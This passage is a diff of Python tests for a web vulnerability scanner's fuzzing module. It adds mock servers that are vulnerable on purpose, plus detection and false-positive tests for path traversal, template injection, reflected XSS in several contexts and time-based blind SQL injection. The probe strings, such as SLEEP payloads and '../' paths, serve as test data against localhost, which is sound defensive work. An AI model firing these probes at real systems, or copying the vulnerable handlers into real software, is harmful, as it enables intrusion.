+    bl = _make_base_lightfuzz("https://x.test/path?init=true#frag")
+    result = bl.build_query_string("PROBE", "p")
+    assert result.count("?") == 1
+    assert result.endswith("#frag")
+
+
 # Path Traversal single dot tolerance
 class Test_Lightfuzz_path_singledot(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -47,9 +91,20 @@ def request_handler(self, request):
 <svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
   <rect width="1" height="1" fill="black"/>
 </svg>
+        """
+            # Real path-traversal payload: a successful fetch of a different
+            # resource (200 + distinct body). This is what a vulnerable server
+            # actually returns — it's the signal the detector relies on.
+            traversed_block = """
+<svg xmlns="http://www.w3.org/2000/svg" width="2" height="2">
+  <rect width="2" height="2" fill="red"/>
+</svg>
+SECRET_FROM_PARENT_DIR
         """
             if value == "%2F.%2Fa%2F..%2Fdefault.jpg" or value == "default.jpg":
                 return Response(block, status=200)
+            if value == "%2F..%2Fa%2F..%2Fdefault.jpg":
+                return Response(traversed_block, status=200)
         return Response("file not found", status=500)
 
     def check(self, module_test, events):
@@ -71,6 +126,111 @@ def check(self, module_test, events):
         assert pathtraversal_finding_emitted, "Path Traversal single dot tolerance FINDING not emitted"
 
 
+# Path Traversal single-dot tolerance, strict path resolver (Python/Go/Rust style)
+# Simulates a server that opens files via a raw OS path walk rather than by
+# string-normalizing first (as PHP include() does). Only the "simple" dot probes
+# — `./X` and `/./X` — resolve cleanly; the `a/../X` variants fail on the missing
+# `a/` component. Guards against regression of the simple-probe coverage path
+# that was previously missed on non-PHP stacks.
+class Test_Lightfuzz_path_singledot_strict(Test_Lightfuzz_path_singledot):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        if "filename=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+
+            block = """
+<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
+  <rect width="1" height="1" fill="black"/>
+</svg>
+        """
+            # Real strict-resolver traversal: `../X` reads a different file
+            # successfully (200 + distinct body). The detector requires a
+            # successful fetch on the doubledot probe to flag.
+            traversed_block = """
+<svg xmlns="http://www.w3.org/2000/svg" width="2" height="2">
+  <rect width="2" height="2" fill="red"/>
+</svg>
+SECRET_FROM_PARENT_DIR
+        """
+            # Only exact-file or simple-dot-prefixed reads succeed. Any path
+            # containing `a/../` fails because `a/` does not exist, mirroring
+            # Python's open() / Go's os.Open behavior on the filesystem.
+            if value in (
+                "default.jpg",
+                "./default.jpg",
+                "/./default.jpg",
+                "%2E%2Fdefault.jpg",
+            ):
+                return Response(block, status=200)
+            if value == "../default.jpg":
+                return Response(traversed_block, status=200)
+        return Response("file not found", status=500)
+
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        simple_pathtraversal_finding_emitted = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [filename]" in e.data["description"]:
+                    web_parameter_emitted = True
+
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if (
+                    "POSSIBLE Path Traversal" in desc
+                    and "Parameter: [filename]" in desc
+                    and "single-dot traversal tolerance (simple" in desc
+                ):
+                    simple_pathtraversal_finding_emitted = True
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert simple_pathtraversal_finding_emitted, (
+            "Simple single-dot path traversal FINDING not emitted — strict-resolver detection regression."
+        )
+
+
+# Negative regression test for the JSF-style path-traversal FP: a server
+# that normalizes `./X` (returns the canonical resource for the no-op
+# prefix) but strictly REJECTS any `..` segment with a 4xx/empty body.
+# That's the opposite of a vulnerability — no file from a different path
+# is being delivered. The detector must not emit a finding.
+class Test_Lightfuzz_path_singledot_rejection_fp(Test_Lightfuzz_path_singledot):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        if "filename=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+
+            # Strict rejection of any `..` segment in any encoding (raw,
+            # url-encoded, double-url-encoded). Empty body — no resource
+            # exfiltrated.
+            decoded = unquote(unquote(value))
+            if ".." in decoded:
+                return Response("", status=404)
+
+            block = """
+<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
+  <rect width="1" height="1" fill="black"/>
+</svg>
+        """
+            # Server normalizes `./` (and url-encoded variants) to a no-op
+            # and returns the canonical resource — singledot tolerance only.
+            if "default.jpg" in decoded:
+                return Response(block, status=200)
+        return Response("", status=404)
+
+    def check(self, module_test, events):
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                assert "Possible Path Traversal" not in desc and "POSSIBLE Path Traversal" not in desc, (
+                    f"Path Traversal false positive emitted when server rejects `..`: {desc}"
+                )
+
+
 # Path Traversal Absolute path
 class Test_Lightfuzz_path_absolute(Test_Lightfuzz_path_singledot):
     etc_passwd = """
@@ -122,7 +282,7 @@ def check(self, module_test, events):
 # SSTI Integer Multiplcation
 class Test_Lightfuzz_ssti_multiply(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -170,10 +330,104 @@ def check(self, module_test, events):
         assert ssti_finding_emitted, "SSTI integer multiply FINDING not emitted"
 
 
+# SSTI direct {{A*B}} probe — simulates a template engine (e.g. Jinja2 with
+# StrictUndefined) that raises on `{{undefined_var}}` so the comma-collapse
+# trick fails, but still evaluates an arithmetic expression like
+# `{{1337*1337}}` because arithmetic has no undefined variables.
+class Test_Lightfuzz_ssti_direct_jinja(Test_Lightfuzz_ssti_multiply):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        from urllib.parse import unquote as _unquote
+
+        value = qs.split("data=")[1] if "data=" in qs else ""
+        if "&" in value:
+            value = value.split("&")[0]
+        decoded = _unquote(value)
+        # `{{z}}` raises in StrictUndefined engines — the comma-collapse
+        # probe produces a 500 instead of the expected `1,787,569`.
+        if "{{z}}" in decoded:
+            return Response("Template error: 'z' is undefined", status=500)
+        # `{{A*B}}` evaluates normally when A and B are literal ints.
+        if decoded.startswith("{{") and decoded.endswith("}}"):
+            inner = decoded[2:-2]
+            if "*" in inner:
+                a, b = inner.split("*")
+                try:
+                    return Response(f"<html><div>{int(a) * int(b)}</div></html>", status=200)
+                except ValueError:
+                    pass
+        # Anything else: baseline-ish echo, no template evaluation
+        return Response(f"<html><div>Hi, {decoded}</div></html>", status=200)
+
+    def check(self, module_test, events):
+        ssti_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if "Server-side Template Injection" in desc and "[{{1337*1337}}]" in desc:
+                    ssti_finding = True
+        assert ssti_finding, "Direct {{1337*1337}} SSTI FINDING not emitted"
+
+
+# SSTI baseline FP suppression — simulates an endpoint whose static content
+# happens to include the canary product value (1787569 or 1,787,569). The
+# baseline check should suppress all ssti findings on this endpoint.
+class Test_Lightfuzz_ssti_baseline_fp(Test_Lightfuzz_ssti_multiply):
+    def request_handler(self, request):
+        # Every response contains the canary literal as static content.
+        # No template evaluation anywhere — pure coincidental number.
+        return Response(
+            "<html><body>Total units sold: 1,787,569</body></html>",
+            status=200,
+        )
+
+    def check(self, module_test, events):
+        ssti_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                if "Server-side Template Injection" in e.data.get("description", ""):
+                    ssti_finding = True
+        assert not ssti_finding, (
+            "SSTI finding emitted on a page whose baseline already contains "
+            "the canary number — baseline-check guard failed."
+        )
+
+
+# SSTI Apache Velocity — `#set($x=A*B)$x` syntax. None of the pre-existing
+# probes use this shape so a Velocity-backed endpoint would slip past.
+class Test_Lightfuzz_ssti_velocity(Test_Lightfuzz_ssti_multiply):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        from urllib.parse import unquote as _unquote
+
+        value = qs.split("data=")[1] if "data=" in qs else ""
+        if "&" in value:
+            value = value.split("&")[0]
+        decoded = _unquote(value)
+        # Recognize a Velocity `#set($x=A*B)$x` probe and render the product.
+        m = re.match(r"#set\(\$\w+=(\d+)\*(\d+)\)\$\w+", decoded)
+        if m:
+            return Response(
+                f"<html><div>{int(m.group(1)) * int(m.group(2))}</div></html>",
+                status=200,
+            )
+        # Anything else: plain echo with no template evaluation
+        return Response(f"<html><div>Hi, {decoded}</div></html>", status=200)
+
+    def check(self, module_test, events):
+        velocity_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if "Server-side Template Injection" in desc and "%23set" in desc:
+                    velocity_finding = True
+        assert velocity_finding, "Velocity SSTI FINDING not emitted"
+
+
 # Between Tags XSS Detection
 class Test_Lightfuzz_xss(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -208,7 +462,9 @@ def request_handler(self, request):
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -228,6 +484,241 @@ def check(self, module_test, events):
         assert xss_finding_emitted, "Between Tags XSS FINDING not emitted"
 
 
+# Tag Attribute XSS with single-quoted value. Verifies that the attribute-
+# context probes trigger against `<tag attr='...reflection...'>` — which was
+# previously missed because the regex only matched double-quoted attributes
+# and the breakout probe hardcoded `"` as the breakout char.
+class Test_Lightfuzz_xss_single_quote_attribute(Test_Lightfuzz_xss):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <html>
+            <a href="/otherpage.php?foo=bar">Link</a>
+        </html>
+        """
+        if "foo=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            # Single-quoted attribute; only `<` and `>` are stripped so the
+            # attacker can still close the quote and inject event handlers.
+            safe = unquote(value).replace("<", "").replace(">", "")
+            xss_block = f"""
+        <section>
+            <div data-user='{safe}'>hi</div>
+            <hr>
+        </section>
+        """
+            return Response(xss_block, status=200)
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+        expect_args = re.compile("/otherpage.php")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        single_quote_finding = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [foo]" in e.data["description"]:
+                    web_parameter_emitted = True
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if (
+                    "Possible Reflected XSS" in desc
+                    and "Parameter: [foo]" in desc
+                    and "Tag Attribute (' quoted)" in desc
+                ):
+                    single_quote_finding = True
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert single_quote_finding, "Single-quote attribute XSS FINDING not emitted"
+
+
+# HTML-comment-context XSS. Verifies that a reflection inside `<!-- ... -->`
+# is detected when the `-->` sequence survives reflection (attacker can
+# close the comment and inject markup afterward).
+class Test_Lightfuzz_xss_html_comment(Test_Lightfuzz_xss):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <html>
+            <a href="/otherpage.php?foo=bar">Link</a>
+        </html>
+        """
+        if "foo=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            return Response(f"<html><body><!-- note: {decoded} --></body></html>", status=200)
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+        expect_args = re.compile("/otherpage.php")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        html_comment_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if "Possible Reflected XSS" in desc and "Context: [HTML Comment]" in desc:
+                    html_comment_finding = True
+        assert html_comment_finding, "HTML Comment XSS FINDING not emitted"
+
+
+# JS-template-literal-context XSS. Verifies detection of reflection inside
+# a backtick-wrapped string in a <script> block, where `${...}` interpolation
+# is the exploitation vector.
+class Test_Lightfuzz_xss_js_backtick(Test_Lightfuzz_xss):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <html>
+            <a href="/otherpage.php?foo=bar">Link</a>
+        </html>
+        """
+        if "foo=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Strip angle brackets to block classic </script> closure, but
+            # leave `${`, `}`, and backtick alone.
+            safe = decoded.replace("<", "").replace(">", "")
+            return Response(
+                f"<html><body><script>const g = `hi, {safe}`;console.log(g);</script></body></html>",
+                status=200,
+            )
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+        expect_args = re.compile("/otherpage.php")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        backtick_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if "Possible Reflected XSS" in desc and "Context: [JS Template Literal]" in desc:
+                    backtick_finding = True
+        assert backtick_finding, "JS Template Literal XSS FINDING not emitted"
+
+
+# Negative test: param echoed in BOTH an HTML comment (with `-->` HTML-encoded,
+# so no breakout there) AND in plain body text (verbatim). determine_context
+# fires on the comment reflection, but the breakout match lands only in the
+# body — outside any comment. _verify_match_context must reject this so no
+# HTML Comment finding fires.
+class Test_Lightfuzz_xss_html_comment_fp(Test_Lightfuzz_xss):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <html>
+            <a href="/otherpage.php?foo=bar">Link</a>
+        </html>
+        """
+        if "foo=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Comment: HTML-encode `-->` so the breakout is defanged.
+            comment_safe = decoded.replace("-->", "--&gt;")
+            # Body: reflect verbatim (the differential-escaping FP case).
+            return Response(
+                f"<html><body><!-- note: {comment_safe} --><p>You searched for {decoded}</p></body></html>",
+                status=200,
+            )
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+        expect_args = re.compile("/otherpage.php")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        html_comment_findings = [
+            e for e in events if e.type == "FINDING" and "Context: [HTML Comment]" in e.data.get("description", "")
+        ]
+        assert not html_comment_findings, (
+            f"HTML Comment XSS FINDING falsely emitted despite match landing outside comment context: "
+            f"{[f.data.get('description') for f in html_comment_findings]}"
+        )
+
+
+# Negative test: param echoed in BOTH a backtick string inside <script>
+# (with `${` defanged) AND in plain body text (verbatim). determine_context
+# fires on the backtick reflection, but the breakout match `${RAND}` lands
+# only in the body — outside any script/backtick. _verify_match_context
+# must reject this so no JS Template Literal finding fires.
+class Test_Lightfuzz_xss_js_backtick_fp(Test_Lightfuzz_xss):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <html>
+            <a href="/otherpage.php?foo=bar">Link</a>
+        </html>
+        """
+        if "foo=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Script: HTML-encode `$` so `${...}` interpolation can't fire.
+            script_safe = decoded.replace("$", "&#36;")
+            # Body: reflect verbatim (the differential-escaping FP case).
+            safe_script = script_safe.replace("<", "").replace(">", "")
+            return Response(
+                f"<html><body><script>const g = `hi, {safe_script}`;</script>"
+                f"<p>You searched for {decoded}</p></body></html>",
+                status=200,
+            )
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+        expect_args = re.compile("/otherpage.php")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        backtick_findings = [
+            e
+            for e in events
+            if e.type == "FINDING" and "Context: [JS Template Literal]" in e.data.get("description", "")
+        ]
+        assert not backtick_findings, (
+            f"JS Template Literal XSS FINDING falsely emitted despite match landing outside backtick context: "
+            f"{[f.data.get('description') for f in backtick_findings]}"
+        )
+
+
 # Form Action Injection Detection
 class Test_Lightfuzz_xss_formaction(Test_Lightfuzz_xss):
     def request_handler(self, request):
@@ -268,14 +759,64 @@ def check(self, module_test, events):
                     web_parameter_emitted = True
 
             if e.type == "FINDING":
+                desc = e.data["description"]
                 if (
-                    "Possible Reflected XSS. Parameter: [func] Context: [Form Action Injection] Parameter Type: [POSTPARAM]"
-                    in e.data["description"]
+                    'Possible Reflected XSS. Parameter: [func] Context: [URL-scheme Injection (" quoted)] Parameter Type: [POSTPARAM]'
+                    in desc
                 ):
                     xss_finding_emitted = True
 
         assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
-        assert xss_finding_emitted, "Form Action XSS FINDING not emitted"
+        assert xss_finding_emitted, "URL-scheme Injection XSS FINDING not emitted"
+
+
+# Negative regression test for the FMCSA-style URL-scheme false positive:
+# the parameter is reflected only into a non-URL-bearing attribute
+# (`<input value="...">`), with `<`, `>`, `"` HTML-encoded everywhere else.
+# `javascript:RAND` survives into the value attribute, but no browser will
+# navigate to it from there. The URL-scheme Injection probe must NOT fire.
+class Test_Lightfuzz_xss_url_scheme_value_attr_fp(Test_Lightfuzz_xss):
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <html>
+            <a href="/otherpage.php?Keyword=bar">Link</a>
+        </html>
+        """
+        if "Keyword=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Mimic the FMCSA pattern: `"`, `<`, `>` are HTML-encoded
+            # outside the value attribute, and the only place the raw
+            # token survives is inside `<input value="...">`.
+            safe = decoded.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace('"', "&quot;")
+            return Response(
+                f"<html><body>"
+                f"<title>{safe}</title>"
+                f'<input id="Keyword" name="Keyword" value="{decoded}" />'
+                f"</body></html>",
+                status=200,
+            )
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+        expect_args = re.compile("/otherpage.php")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                assert "URL-scheme Injection" not in desc, (
+                    f"URL-scheme Injection false positive emitted for non-URL-bearing attribute: {desc}"
+                )
 
 
 # Base64 Envelope XSS Detection
@@ -517,7 +1058,9 @@ def request_handler(self, request):
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
         expect_args = re.compile("/otherpage.php")
@@ -535,12 +1078,13 @@ def check(self, module_test, events):
                         original_value_captured = True
 
             if e.type == "FINDING":
-                if "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute]" in e.data["description"]:
+                desc = e.data["description"]
+                if "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute" in desc and "quoted)" in desc:
                     xss_finding_emitted = True
 
         assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
         assert original_value_captured, "original_value not captured"
-        assert xss_finding_emitted, "Between Tags XSS FINDING not emitted"
+        assert xss_finding_emitted, "Tag Attribute XSS FINDING not emitted"
 
 
 # In Javascript XSS Detection
@@ -576,7 +1120,9 @@ def request_handler(self, request):
         return Response(self.parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
         expect_args = re.compile("/otherpage.php")
@@ -642,7 +1188,7 @@ def check(self, module_test, events):
 # SQLI Single Quote/Two Single Quote (getparam)
 class Test_Lightfuzz_sqli(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -688,7 +1234,9 @@ def request_handler(self, request):
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -713,7 +1261,7 @@ def check(self, module_test, events):
 # SQLI Single Quote/Two Single Quote (postparam)
 class Test_Lightfuzz_sqli_post(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -756,7 +1304,9 @@ def request_handler(self, request):
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -813,7 +1363,9 @@ def check(self, module_test, events):
 # SQLI Single Quote/Two Single Quote (headers)
 class Test_Lightfuzz_sqli_headers(Test_Lightfuzz_sqli):
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -822,7 +1374,7 @@ async def setup_after_prep(self, module_test):
             "http://127.0.0.1:8888/",
             "URL",
             module_test.scan.root_event,
-            module="httpx",
+            module="http",
             tags=["status-200", "distance-0"],
         )
 
@@ -881,7 +1433,9 @@ def check(self, module_test, events):
 # SQLI Single Quote/Two Single Quote (cookies)
 class Test_Lightfuzz_sqli_cookies(Test_Lightfuzz_sqli):
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -890,7 +1444,7 @@ async def setup_after_prep(self, module_test):
             "http://127.0.0.1:8888/",
             "URL",
             module_test.scan.root_event,
-            module="httpx",
+            module="http",
             tags=["status-200", "distance-0"],
         )
 
@@ -975,8 +1529,10 @@ def request_handler(self, request):
             <hr>
         </section>
         """
-            if "' AND (SLEEP(5)) AND '" in unquote(value):
-                sleep(5)
+            decoded = unquote(value)
+            m = re.search(r"AND \(SLEEP\((\d+)\)\) AND", decoded)
+            if m:
+                sleep(int(m.group(1)))
             return Response(sql_block, status=200)
         return Response(parameter_block, status=200)
 
@@ -989,9 +1545,11 @@ def check(self, module_test, events):
                     web_parameter_emitted = True
 
             if e.type == "FINDING":
+                desc = e.data["description"]
                 if (
-                    "Possible Blind SQL Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [Delay Probe (1' AND (SLEEP(5)) AND ')]"
-                    in e.data["description"]
+                    "Possible Blind SQL Injection" in desc
+                    and "Delay Probe" in desc
+                    and "1' AND (SLEEP(8)) AND '" in desc
                 ):
                     sqldelay_finding_emitted = True
 
@@ -999,10 +1557,127 @@ def check(self, module_test, events):
         assert sqldelay_finding_emitted, "SQLi Delay FINDING not emitted"
 
 
+# Blind SQLi where only row-independent one-shot SLEEP payloads trigger a delay.
+# Simulates the common real-world case where the injected value does not match
+# any row in the target table, causing row-scoped AND-based SLEEP payloads to
+# short-circuit and never execute. Also guards against regression of a missing
+# list comma that previously fused Oracle and MSSQL probes into one malformed
+# concatenated string.
+class Test_Lightfuzz_sqli_delay_or_rowindependent(Test_Lightfuzz_sqli):
+    received_payloads = []
+
+    def request_handler(self, request):
+        from time import sleep
+
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search the blog...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            self.__class__.received_payloads.append(decoded)
+
+            sql_block = """
+        <section class=blog-header>
+            <h1>0 search results found</h1>
+            <hr>
+        </section>
+        """
+            # Only the one-shot row-independent MySQL payload triggers a delay.
+            # The original AND-based mysql probe does not fire here, simulating
+            # a context where the injected value does not match any row.
+            m = re.search(r"OR SLEEP\((\d+)\) IS NOT NULL", decoded)
+            if m:
+                sleep(int(m.group(1)))
+            return Response(sql_block, status=200)
+        return Response(parameter_block, status=200)
+
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        one_shot_delay_finding = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [search]" in e.data["description"]:
+                    web_parameter_emitted = True
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if (
+                    "Possible Blind SQL Injection" in desc
+                    and "Delay Probe" in desc
+                    and "OR SLEEP(8) IS NOT NULL LIMIT 1-- -" in desc
+                ):
+                    one_shot_delay_finding = True
+
+        # Guard against regression of the missing-comma bug: Python string-literal
+        # concatenation of adjacent list entries would produce a payload containing
+        # both DBMS_LOCK.SLEEP and WAITFOR, which is never a valid single probe.
+        garbled = [p for p in self.received_payloads if "DBMS_LOCK.SLEEP" in p and "WAITFOR" in p]
+        assert not garbled, (
+            f"Garbled Oracle+MSSQL concatenated probe was sent ({len(garbled)} times): "
+            f"{garbled[:1]}. This indicates the missing-comma bug has regressed."
+        )
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert one_shot_delay_finding, (
+            "One-shot row-independent SLEEP finding not emitted - row-independent blind sqli detection regression."
+        )
+
+
+class Test_Lightfuzz_sqli_delay_jitter_fp(Test_Lightfuzz_sqli):
+    """Payload-independent jitter must not produce a blind SQLi finding."""
+
+    _jitter_idx = 0
+
+    def request_handler(self, request):
+        from time import sleep
+
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search the blog...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            sql_block = """
+        <section class=blog-header>
